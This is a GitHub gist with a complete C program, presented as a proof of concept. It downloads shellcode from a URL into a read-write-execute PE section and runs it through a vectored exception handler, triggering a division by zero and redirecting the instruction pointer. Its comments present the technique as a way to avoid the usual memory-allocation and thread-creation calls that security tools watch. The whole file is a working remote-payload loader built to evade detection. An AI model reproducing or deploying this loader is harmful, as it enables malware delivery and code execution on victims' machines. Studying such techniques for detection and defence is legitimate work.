Skip to content

Instantly share code, notes, and snippets.

@st3rven
Created March 6, 2026 13:44
Show Gist options
  • Select an option

  • Save st3rven/e29f82f35d4b6a1bd6612cef81dc30a8 to your computer and use it in GitHub Desktop.

Select an option

Save st3rven/e29f82f35d4b6a1bd6612cef81dc30a8 to your computer and use it in GitHub Desktop.
Execute shellcode using VEH and causing a division by zero.
// Technique:
// 1. Use #pragma section to create a PE section with execute permissions
// 2. Place shellcode buffer in that section via __declspec(allocate)
// 3. Register a Vectored Exception Handler
// 4. Trigger EXCEPTION_INT_DIVIDE_BY_ZERO
// 5. VEH catches it, sets RIP -> shellcode, returns EXCEPTION_CONTINUE_EXECUTION
//
// No VirtualAlloc, no VirtualProtect, no CreateThread -- shellcode lives in
// a statically-linked executable section and runs on the faulting thread.
//
// NOTE: This technique is not 100% reliable. The shellcode inherits the
// register and stack state from the faulting thread at the moment of the
// exception. ASLR-randomized stack bases and varying compiler-generated
// stack layouts mean RSP can land in an unfavorable position between runs,
// causing the shellcode's API resolution or WinExec call to silently fail.
#include <Windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
#pragma section(".exec", execute, read, write)
#pragma comment(linker, "/SECTION:.exec,ERW")
#define MAX_SHELLCODE_SIZE (4024 * 4024)
__declspec(allocate(".exec")) unsigned char shellcode[MAX_SHELLCODE_SIZE] = { 0 };
unsigned int payload_len = 0;
BOOL FetchShellcode(const char* url)
{
HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet)
{
printf("[-] InternetOpen failed: %lu\n", GetLastError());
return FALSE;
}
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0,
INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (!hUrl)
{
printf("[-] InternetOpenUrl failed: %lu\n", GetLastError());
InternetCloseHandle(hInternet);
return FALSE;
}
DWORD totalRead = 0;
DWORD bytesRead = 0;
while (InternetReadFile(hUrl, shellcode + totalRead,
MAX_SHELLCODE_SIZE - totalRead, &bytesRead) && bytesRead > 0)
{
totalRead += bytesRead;
if (totalRead >= MAX_SHELLCODE_SIZE)
{
printf("[-] Shellcode exceeds buffer size (%d bytes)\n", MAX_SHELLCODE_SIZE);
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
return FALSE;
}
}
payload_len = totalRead;
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
printf("[+] Downloaded %lu bytes into .exec section\n", totalRead);
return totalRead > 0;
}
LONG WINAPI VehHandler(EXCEPTION_POINTERS* pExInfo)
{
if (pExInfo->ExceptionRecord->ExceptionCode == EXCEPTION_INT_DIVIDE_BY_ZERO)
{
printf("[+] Caught EXCEPTION_INT_DIVIDE_BY_ZERO\n");
printf(" Faulting RIP : 0x%p\n", (void*)pExInfo->ContextRecord->Rip);
printf(" Shellcode : 0x%p\n", (void*)shellcode);
printf("[+] Redirecting RIP -> shellcode\n");
pExInfo->ContextRecord->Rip = (DWORD64)shellcode;
// Align RSP to 16 bytes and reserve scratch space so the
// shellcode's CALL/PUSH sequence doesn't land on a misaligned
// or clobbered stack frame left over from main().
pExInfo->ContextRecord->Rsp &= ~(DWORD64)0xF;
pExInfo->ContextRecord->Rsp -= 8;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
int main(int argc, char* argv[])
{
if (argc < 2)
{
printf("Usage: %s <shellcode_url>\n", argv[0]);
return -1;
}
printf("[*] VEH Div-by-Zero Execution PoC (remote fetch)\n");
if (!FetchShellcode(argv[1]))
{
printf("[-] Failed to fetch shellcode\n");
return -1;
}
printf("[*] Shellcode @ 0x%p (%u bytes) in PE section .exec\n",
(void*)shellcode, payload_len);
PVOID hVeh = AddVectoredExceptionHandler(1, VehHandler);
if (!hVeh)
{
printf("[-] AddVectoredExceptionHandler failed: %lu\n", GetLastError());
return -1;
}
printf("[+] VEH handler registered\n");
printf("[*] Triggering division by zero...\n");
volatile int divisor = 0;
volatile int result = 1 / divisor;
printf("[?] Post-exception (shellcode returned cleanly)\n");
RemoveVectoredExceptionHandler(hVeh);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment